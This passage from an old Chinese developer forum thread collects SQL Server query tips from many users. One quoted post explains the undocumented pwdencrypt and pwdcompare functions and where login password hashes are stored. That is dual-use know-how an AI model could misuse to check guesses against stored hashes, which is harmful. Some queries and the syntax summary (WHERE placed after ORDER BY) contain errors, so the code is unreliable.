DATEDIFF(d,C.Period_Start_Date,C.Period_End_Date)+1 Select A.User_Record_No,A.Staff_No,A.Full_Name,A.Job_Title ,A.Working_Hours,A.OT_HOURS,A.Period_Start_Date,A.Period_End_Date ,DM.Division_Code INTO #temp3 FROM #temp2 AS A INNER JOIN User_Data_Access_Right UDAR ON UDAR.User_Record_No = A.User_Record_No INNER JOIN Division_Master DM ON DM.Division_Record_No = UDAR.Division_Record_No SELECT * From #temp3 order by 1,7,8; Select Count(Distinct User_Record_No+Period_Start_Date+Period_End_Date) From #temp3 DROP TABLE #temp ,#temp2,#temp3&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-19 11:14:05 得分:0&lt;BR&gt;&lt;BR&gt;我认为上面的语句在实现需求时并不是最简,效率最高的语句.&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-19 11:45:29 得分:0&lt;BR&gt;&lt;BR&gt;各种查询技巧结合才能写出最高效的查询&lt;BR&gt;在SQL中使用DISTINCT是代价比较高的查询方式&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： oldsky(九指神丐) ( ) 信誉：54 2003-3-19 13:13:09 得分:0&lt;BR&gt;&lt;BR&gt;微软不公布SQLserver2000中的函数:&lt;BR&gt;print pwdcompare('helloworld', pwdencrypt('helloworld'))&lt;BR&gt;print pwdcompare('hello', pwdencrypt('world'))&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： funboy88(司令) ( ) 信誉：121 2003-3-19 13:20:20 得分:0&lt;BR&gt;&lt;BR&gt;pwdencrypt&lt;BR&gt;密码加密？&lt;BR&gt;有些什么作用，不明白&lt;BR&gt;随机取出10条数据&lt;BR&gt;select top 10 * from tablename order by newid()&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： mzcih(小马过河) ( ) 信誉：110 2003-3-19 13:25:31 得分:0&lt;BR&gt;&lt;BR&gt;看君一张贴，胜看一天书。&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： funboy88(司令) ( ) 信誉：121 2003-3-19 13:26:48 得分:5&lt;BR&gt;&lt;BR&gt;功能：&lt;BR&gt;type&amp;nbsp;&amp;nbsp; vender pcs&lt;BR&gt;电脑&amp;nbsp;&amp;nbsp; A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;BR&gt;电脑&amp;nbsp;&amp;nbsp; A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;BR&gt;光盘&amp;nbsp;&amp;nbsp; B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&lt;BR&gt;光盘&amp;nbsp;&amp;nbsp; A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&lt;BR&gt;手机&amp;nbsp;&amp;nbsp; B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&lt;BR&gt;手机&amp;nbsp;&amp;nbsp; C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&lt;BR&gt;select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end) FROM tablename group by type&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： funboy88(司令) ( ) 信誉：121 2003-3-19 13:30:27 得分:0&lt;BR&gt;&lt;BR&gt;FUNCTION：DELELTE REPEAT RECORDS&lt;BR&gt;DELETE&amp;nbsp;&amp;nbsp;from tablename where id not in (select max(id) from tablename group by col1,col2,...)&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： chonboy(一只来自南方的羊) ( ) 信誉：100 2003-3-19 14:32:56 得分:0&lt;BR&gt;&lt;BR&gt;Microsoft SQL Server是如何加密口令的？未公开的加密函数？ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;BR&gt;如果对MSSQL的用户信息有兴趣的，可能会发现master.dbo.sysxlogins里面存放着用户的口令，可是呢，password字段如果不是null就是一堆看不懂的binary，这个口令是怎么加密的呢？&lt;BR&gt;其实只要仔细看看master.dbo.sp_addlogin就知道了，MSSQL的sp都可以看到代码，真是不错。&lt;BR&gt;让我们来看看它是怎么做的，注意这一行select @passwd = pwdencrypt(@passwd)，这个时后@passwd就被加密了，让我们也来试一下&lt;BR&gt;DECLARE @ClearPWD varchar(255) &lt;BR&gt;DECLARE @EncryptedPWD varbinary(255)&lt;BR&gt;SELECT @ClearPWD = 'test'&lt;BR&gt;SELECT @EncryptedPWD = CONVERT(varbinary(255), pwdencrypt(@ClearPWD))&lt;BR&gt;SELECT @EncryptedPWD&lt;BR&gt;看上去不错，确实被加密了，可是我怎么还原呢？ &lt;BR&gt;呵呵，这就没戏了，口令加密都是单向的，用加密后的密文来比较就可以了。&lt;BR&gt;继续看看其它用户相关的sp，可以发现master.dbo.sp_password里面有口令比较的内容。&lt;BR&gt;pwdcompare(@old, password, (CASE WHEN xstatus&amp;amp;2048 = 2048 THEN 1 ELSE 0 END))&lt;BR&gt;不用去理会xstatus，这是一个状态掩码，一般我们用的时候就直接用0就可以了&lt;BR&gt;DECLARE @ClearPWD varchar(255) &lt;BR&gt;DECLARE @EncryptedPWD varbinary(255)&lt;BR&gt;SELECT @ClearPWD = 'test'&lt;BR&gt;SELECT @EncryptedPWD = CONVERT(varbinary(255), pwdencrypt(@ClearPWD))&lt;BR&gt;SELECT pwdcompare(@ClearPWD, @EncryptedPWD, 0)&lt;BR&gt;SELECT pwdcompare('ErrorPassword', @EncryptedPWD, 0)&lt;BR&gt;这样我们就可以使用这两个函数来加密自己的密码了，怎么样，还不错吧？&lt;BR&gt;&lt;BR&gt;引用自&lt;BR&gt;http://www.bgchina.com/daily/bd_1/&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： csdntoll(低调惯了) ( ) 信誉：147 2003-3-20 10:00:45 得分:0&lt;BR&gt;&lt;BR&gt;SELECT语法：(基本)&lt;BR&gt;SELECT [DISTINCT]&lt;BR&gt;(column [{, column } ] )| *&lt;BR&gt;FROM table [ { , table} ]&lt;BR&gt;[ORDER BY column [ASC] | [DESC&lt;BR&gt;[{ , column [ASC] | [DESC } ] ]&lt;BR&gt;WHERE predicate [ { logical-connector predicate } ];&lt;BR&gt;------------------------------------------------------&lt;BR&gt;INSERT语法：&lt;BR&gt;INSERT INTO table&lt;BR&gt;[(column { ,column})]&lt;BR&gt;VALUES&lt;BR&gt;(columnvalue [{,columnvalue}]);&lt;BR&gt;------------------------------------------------------&lt;BR&gt;UPDATE语法：&lt;BR&gt;UPDATE table&lt;BR&gt;SET column = value [{, column = value}]&lt;BR&gt;[ WHERE predicate [ { logical-connector predicate}]];&lt;BR&gt;------------------------------------------------------&lt;BR&gt;DELETE语法：&lt;BR&gt;DELETE FROM table&lt;BR&gt;[WHERE predicate [ { logical-connector predicate} ] ];&lt;BR&gt;------------------------------------------------------&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： liuzxit(每日晕十几次) ( ) 信誉：115 2003-3-20 10:13:05 得分:0&lt;BR&gt;&lt;BR&gt;想把我那Y?長的SELECT語句拿出來了﹐不過沒興趣&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： lgj1012(oοО○≮国产超人≯○Оοo) ( ) 信誉：99 2003-3-20 10:13:41 得分:0&lt;BR&gt;&lt;BR&gt;MARK MARK&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： csdntoll(低调惯了) ( ) 信誉：147 2003-3-20 10:41:56 得分:0&lt;BR&gt;&lt;BR&gt;常识补充&lt;BR&gt;统计函数：&lt;BR&gt;AVG(字段名) 得出一个表格栏平均值&lt;BR&gt;COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计&lt;BR&gt;MAX(字段名) 取得一个表格栏最大的值&lt;BR&gt;MIN(字段名) 取得一个表格栏最小的值&lt;BR&gt;SUM(字段名) 把数据栏的值相加&lt;BR&gt;eg：&lt;BR&gt;sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： carl__yao(頭目) ( ) 信誉：95 2003-3-20 10:50:06 得分:0&lt;BR&gt;&lt;BR&gt;select top 0 * into b from a&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： flashasp(flashasp) ( ) 信誉：95 2003-3-20 13:05:01 得分:0&lt;BR&gt;&lt;BR&gt;select name from sysobjects where type='U''列出数据库里所有的表名&lt;BR&gt;select name from syscolumns where id=object_id('TableName')'列出表里的所有的&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： flashasp(flashasp) ( ) 信誉：95 2003-3-20 13:05:47 得分:0&lt;BR&gt;&lt;BR&gt;select name from sysobjects where type='U''列出数据库里所有的表名&lt;BR&gt;select name from syscolumns where id=object_id('TableName')'列出表里的所有的字段名&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： annkie(无声的雨) ( ) 信誉：113 2003-3-20 13:27:22 得分:0&lt;BR&gt;&lt;BR&gt;帮忙看看这个帖子，解决了我想贴在这里应该是可以的 :)&lt;BR&gt;http://expert.csdn.net/Expert/topic/1554/1554516.xml?temp=.6041071&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： flyinto(孤独求败) ( ) 信誉：100 2003-3-20 14:14:42 得分:0&lt;BR&gt;&lt;BR&gt;MARK&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-20 14:15:00 得分:0&lt;BR&gt;&lt;BR&gt;source data&lt;BR&gt;kzx4dm xbdm jylsfsdm ...&lt;BR&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10&lt;BR&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10 &lt;BR&gt;12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10&lt;BR&gt;12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 20 &lt;BR&gt;12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 20&lt;BR&gt;destination:&lt;BR&gt;kzx4dm&amp;nbsp;&amp;nbsp;bys_count yjs_count jy_ratio&lt;BR&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1.00&lt;BR&gt;12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1/3&lt;BR&gt;SELECT DISTINCT kzx4dm,(SELECT COUNT(jylsfsdm) FROM tablename WHERE kzx4dm=TA.kzx4dm) AS bys_count,(SELECT COUNT(jylsfsdm) FROM tablename WHERE kzx4dm=TA.kzx4dm WHERE jylsfsdm=10) AS yjs_count,yjs_count/bys_count AS jy_ratio&lt;BR&gt;FROM tablename AS TA&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-20 14:18:35 得分:10&lt;BR&gt;&lt;BR&gt;to annkie(活着便精彩) &lt;BR&gt;看看上面的语句是否解决了问题?&lt;BR&gt;纠正一下,应该是&lt;BR&gt;SELECT DISTINCT kzx4dm,(SELECT COUNT(jylsfsdm) FROM tablename WHERE kzx4dm=TA.kzx4dm) AS bys_count,(SELECT COUNT(jylsfsdm) FROM tablename WHERE kzx4dm=TA.kzx4dm AND jylsfsdm=10) AS yjs_count,yjs_count/bys_count AS jy_ratio&lt;BR&gt;FROM tablename AS TA&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： GageCSDN(稻草人) ( ) 信誉：100 2003-3-20 17:30:45 得分:0&lt;BR&gt;&lt;BR&gt;seeing........&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： allserver(server) ( ) 信誉：100 2003-3-20 19:13:25 得分:0&lt;BR&gt;&lt;BR&gt;8错&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： kirc(无聊中...) ( ) 信誉：100 2003-3-20 19:16:32 得分:0&lt;BR&gt;&lt;BR&gt;关注....&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： annkie(无声的雨) ( ) 信誉：113 2003-3-20 19:28:23 得分:0&lt;BR&gt;&lt;BR&gt;To yonghengdizhen:&lt;BR&gt;thank you.&lt;BR&gt;正在研究此问题中.&lt;BR&gt;yjs_count/bys_count AS jy_ratio 这句无法通过检查,不过可以把前面的东西拿倒这里来搞定,不使用字段名.&lt;BR&gt;&amp;nbsp;&amp;nbsp;你的sql语句是对的.&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： flyycyu(fly) ( ) 信誉：100 2003-3-21 9:36:40 得分:0&lt;BR&gt;&lt;BR&gt;gz&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： csdntoll(低调惯了) ( ) 信誉：147 2003-3-21 10:02:00 得分:0&lt;BR&gt;&lt;BR&gt;我决定：把200分中的180分，奖给贴出最精妙的SQL的高手！&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-21 11:00:52 得分:0&lt;BR&gt;&lt;BR&gt;二维表 T(F1,F2,F3,F4,F5,F6,F7) 表示如下关系:&lt;BR&gt;&amp;nbsp;&amp;nbsp;学生ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;学生姓名&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;课程ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;课程名称&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 成绩&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;教师ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;教师姓名 &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;王五&amp;nbsp;&